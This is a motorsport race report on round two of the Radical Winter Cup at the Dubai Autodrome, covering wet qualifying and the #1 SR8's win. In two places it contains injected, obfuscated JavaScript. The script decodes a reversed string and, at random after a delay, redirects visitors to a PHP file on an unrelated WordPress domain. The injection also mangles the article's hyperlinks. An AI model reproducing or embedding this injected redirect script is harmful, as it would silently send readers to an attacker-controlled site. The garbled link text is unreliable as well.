At the Dubai Autodrome, competitors in the second round of the Radical Winter Cup prepared themselves for a qualifying session in the wet. $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/shot-of-the-day/shot-of-the-day-rain-at-the-autodrome/” target=”_blank”>Nobody could quite believe it.
Wet weather tyres (a luxury only the Radicals enjoyed at the Autodrome) couldn’t stop a spin here or there as the drivers gingerly tiptoed around the circuit.
Amro Al Hammad (#69), Mohammad Jawa (#82), and Ludovic Loffreda (#24) – who ended up in the barriers on pit road after hitting a wet patch – would find their limits the hard way. Each sustained light damage but would all make it to the grid for their first race in the wet.
The Jordon Grogor/AbdulRahman Al Thani #1 SR8 meanwhile was relishing the conditions, a 1m43.295s lap good enough to secure pole position by over a second. For SR3 polesitters Hassan Dargahi and Tarek Elgammal (#2) though – the SR3 standings leader – points were the main objective, not the win.
Still in its element, the #1 car leapt away from the (eventually dry) rolling start in the lead, despite the best efforts from the (#21) Richard Sykes/Charlie Kemp car and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/radical-winter-cup-round-1-yas-marina-back-to-school/” target=”_blank”>round one winner Bassam Kronfli after a superb start from the second row. Squeezed heavily into turn one, Grogor only just held onto his lead. Dander up, he began to push. Hard.
Six laps and one Code 60 flag later (caused by discarded oil from one of the backmarkers), and #1 was already over 10s down the road, safely away from the battle between Sykes and Kronfli. Despite minor delays on pitroad during their obligatory stop, the Al Thani/Grogor duo had done more than enough to keep their lead intact, cruising home after 29 laps for a well-earnt victory.